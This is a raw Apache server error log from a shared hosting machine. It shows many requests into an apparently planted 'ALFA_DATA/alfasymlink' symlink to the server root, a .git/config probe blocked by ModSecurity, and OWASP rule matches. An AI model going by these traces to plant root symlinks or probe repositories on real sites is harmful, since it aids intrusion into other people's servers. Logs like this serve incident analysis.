[Sun Oct 25 03:45:34.138558 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 16.216.88.130:49152] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/blocked_incoming_email_countries
[Sun Oct 25 03:45:38.232721 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 185.191.171.9:34932] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:45:38.393537 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 185.191.171.9:48192] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:45:42.337152 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 3.216.86.144:22628] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:45:46.359932 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 34.196.237.236:7165] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:45:54.226773 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 54.86.59.155:64119] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:45:58.166803 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 52.44.229.124:18562] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:46:02.297163 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.215.59.93:59421] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:46:18.168748 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 54.152.163.42:6981] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:46:22.171489 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 34.226.89.140:30275] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:46:34.218416 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 98.84.70.201:48104] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:46:46.338227 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 52.204.253.129:52400] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:46:50.162081 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 54.90.8.255:2218] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:47:06.231734 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 3.230.69.161:28780] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:47:18.181196 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 44.218.6.93:2224] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/Cavium PTP Driver/new_id
[Sun Oct 25 03:47:18.937684 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 185.191.171.19:33740] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:47:42.318792 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 44.209.187.99:24447] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:47:54.266373 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 52.70.209.13:51630] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:48:05.745025 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 185.191.171.12:10570] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_tree_mark/slab_size
[Sun Oct 25 03:48:06.179462 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.213.46.222:41815] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:48:10.167705 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 52.1.157.90:53856] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:48:14.156536 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 3.223.134.5:53815] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:48:18.173356 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 34.224.9.144:4895] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:48:19.092903 2026] [authz_core:error] [pid 2781523:tid 2781523] [client 199.165.159.10:3519] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 03:48:46.216879 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 107.22.208.39:30864] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:48:50.275537 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 98.84.184.80:53218] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:48:58.210469 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 3.229.2.217:1944] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:49:06.164886 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 34.231.45.47:40909] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:49:10.343365 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 34.194.165.45:41827] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:00/physical_node/driver/uevent
[Sun Oct 25 03:49:26.156588 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.226.34.98:14819] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:49:30.275958 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 52.6.232.201:9699] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:49:31.125580 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 185.191.171.4:12540] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/partial
[Sun Oct 25 03:49:42.152601 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 52.54.157.23:62619] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:49:51.936293 2026] [security2:error] [pid 2775684:tid 2775684] [client 85.208.96.206:44536] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/include/linux/netfilter/xt_LED.h"] [unique_id "at20nwanevcJbML2UkvoEAAAAAU"]
[Sun Oct 25 03:49:51.936343 2026] [security2:error] [pid 2775684:tid 2775684] [client 85.208.96.206:44536] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/include/linux/netfilter/xt_LED.h"] [unique_id "at20nwanevcJbML2UkvoEAAAAAU"]
[Sun Oct 25 03:50:02.321885 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 100.28.57.133:44370] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:50:08.817544 2026] [security2:error] [pid 2781523:tid 2781523] [client 119.27.181.16:50324] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at20sNxXWZMI2DaSlsHxAAAAABY"]
[Sun Oct 25 03:50:13.584880 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 185.191.171.14:45582] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_head_cache/objs_per_slab
[Sun Oct 25 03:50:16.198033 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 185.191.171.6:64842] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/tmp/tmp.H5xfTDmh3t
[Sun Oct 25 03:50:18.141539 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.159.18.27:55521] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:50:38.181329 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 184.73.35.182:56824] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:50:46.142267 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 52.3.26.180:51409] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:51:02.163739 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 184.73.68.20:23285] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:51:34.210987 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 54.166.104.83:59719] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:51:38.283700 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 85.208.96.197:36174] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/khugepaged_mm_slot/objs_per_slab
[Sun Oct 25 03:51:58.151088 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 54.166.126.132:28654] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:52:06.291747 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 3.213.106.226:29850] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:52:17.889544 2026] [security2:error] [pid 2781524:tid 2781524] [client 119.28.89.249:49388] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/PHPMailer/get_oauth_token.php"] [unique_id "at21MYHtOs-nfC4GshpRfQAAABc"]
[Sun Oct 25 03:52:18.300407 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.0.63.151:35363] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:52:22.336417 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 34.231.77.232:54812] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:52:58.262222 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 3.218.35.239:17448] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:53:08.297586 2026] [security2:error] [pid 2781524:tid 2781524] [client 101.32.52.164:42420] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at21ZIHtOs-nfC4GshpRfwAAABc"]
[Sun Oct 25 03:53:10.286404 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 18.211.148.239:3440] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:53:14.307888 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 3.213.85.234:28100] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:53:34.228421 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 52.45.92.83:48993] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXCPU:00/physical_node/driver/cpu1/crash_notes
[Sun Oct 25 03:53:46.224559 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 52.200.58.199:24530] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:53:58.178863 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 3.217.82.254:8354] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:54:02.136409 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 100.25.120.246:65047] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:54:14.148388 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 100.24.149.244:4729] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:54:18.162647 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 44.209.187.99:12741] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:54:22.149835 2026] [ssl:error] [pid 2781481:tid 2781481] (5)Input/output error: [client 50.19.79.213:1238] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:54:29.414506 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 185.191.171.8:38298] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:54:30.201574 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 54.83.23.103:4764] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:54:42.129991 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 3.226.34.98:41560] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:54:46.185302 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 44.205.192.249:63902] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:54:54.158669 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 44.212.145.46:23766] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:55:06.131131 2026] [security2:error] [pid 2781507:tid 2781507] [client 52.207.47.227:43921] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/drm/"] [unique_id "at212p68N771hz7W4KlsHwAAAAw"]
[Sun Oct 25 03:55:06.131180 2026] [security2:error] [pid 2781507:tid 2781507] [client 52.207.47.227:43921] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/drm/"] [unique_id "at212p68N771hz7W4KlsHwAAAAw"]
[Sun Oct 25 03:55:10.947201 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 185.191.171.12:55056] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-128/cache_dma
[Sun Oct 25 03:55:22.219723 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 54.210.152.179:61711] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:55:38.129594 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 23.21.204.95:23347] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:55:42.955435 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 185.191.171.16:58946] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/cache_dma
[Sun Oct 25 03:55:46.143231 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.164.106.236:7316] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:55:53.867760 2026] [security2:error] [pid 2781524:tid 2781524] [client 45.148.10.120:44386] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at22CYHtOs-nfC4GshpRhQAAABc"]
[Sun Oct 25 03:55:53.868028 2026] [security2:error] [pid 2781524:tid 2781524] [client 45.148.10.120:44386] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at22CYHtOs-nfC4GshpRhQAAABc"]
[Sun Oct 25 03:55:53.868291 2026] [security2:error] [pid 2781524:tid 2781524] [client 45.148.10.120:44386] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at22CYHtOs-nfC4GshpRhQAAABc"]
[Sun Oct 25 03:55:54.069960 2026] [security2:error] [pid 2775712:tid 2775712] [client 45.148.10.120:44394] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at22CgLaiqtlZaJBsx4XqwAAAA0"]
[Sun Oct 25 03:55:54.070240 2026] [security2:error] [pid 2775712:tid 2775712] [client 45.148.10.120:44394] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at22CgLaiqtlZaJBsx4XqwAAAA0"]
[Sun Oct 25 03:55:54.070537 2026] [security2:error] [pid 2775712:tid 2775712] [client 45.148.10.120:44394] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at22CgLaiqtlZaJBsx4XqwAAAA0"]
[Sun Oct 25 03:55:54.141332 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 23.21.250.48:46909] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory12/node0/memory7/subsystem/drivers_probe
[Sun Oct 25 03:55:58.210717 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 52.7.33.248:55472] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:56:02.280791 2026] [ssl:error] [pid 2781480:tid 2781480] (22)Invalid argument: [client 107.20.181.148:62359] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:56:06.142318 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 34.231.45.47:52369] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:56:18.152548 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 34.231.45.47:36717] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:56:22.132381 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 52.71.216.196:38700] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:56:26.154031 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 3.210.223.61:56995] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:04/eject
[Sun Oct 25 03:56:30.206237 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 54.83.56.1:17076] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:56:34.132489 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 100.28.204.82:23924] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:56:38.270790 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 54.225.148.123:21593] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:56:42.243075 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 52.4.213.199:5536] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mouse1/subsystem/input4/mouse0/subsystem/input1/event1/device/device/driver/uevent
[Sun Oct 25 03:56:43.112061 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 85.208.96.195:10738] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/seq_file/total_objects
[Sun Oct 25 03:57:00.526160 2026] [core:crit] [pid 2781480:tid 2781480] (13)Permission denied: [client 8.209.68.55:35728] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 03:57:00.703427 2026] [authz_core:error] [pid 2781507:tid 2781507] [client 8.209.68.55:35744] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 03:57:10.152644 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 52.44.148.203:55716] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:57:14.136251 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 54.147.182.90:11655] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:57:27.101439 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 185.191.171.10:27544] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma/hwcache_align
[Sun Oct 25 03:57:38.147932 2026] [ssl:error] [pid 2781523:tid 2781523] (5)Input/output error: [client 100.27.153.9:54218] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:57:42.986432 2026] [core:error] [pid 2781480:tid 2781480] (13)Permission denied: [client 185.191.171.14:61716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_ctx/hwcache_align
[Sun Oct 25 03:57:46.131663 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 3.215.221.125:42548] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:57:58.129647 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 52.73.6.26:53175] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:58:00.135509 2026] [security2:error] [pid 2781030:tid 2781030] [client 43.130.72.40:60878] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at22iLQKh4dfs72fmHxv1AAAAAE"]
[Sun Oct 25 03:58:00.137015 2026] [authz_core:error] [pid 2781030:tid 2781030] [client 43.130.72.40:60878] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 03:58:02.156299 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 98.82.40.168:10551] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:58:05.128892 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 185.191.171.4:24628] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ebitmap_node/remote_node_defrag_ratio
[Sun Oct 25 03:58:06.166776 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 3.232.82.72:12817] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:58:10.126899 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 44.205.120.22:25834] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:58:14.154879 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 52.203.68.145:37309] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:58:18.128957 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 52.3.127.170:11270] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:58:22.123906 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 44.215.61.66:36556] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:58:34.138039 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 34.202.88.37:56747] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:58:58.748197 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 85.208.96.197:23044] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/objects_partial
[Sun Oct 25 03:59:02.205665 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 18.208.11.93:61348] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:59:10.136230 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 35.171.117.160:63587] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:59:34.138520 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 3.221.244.28:53240] AH02013: coalesce failed to read from data bucket
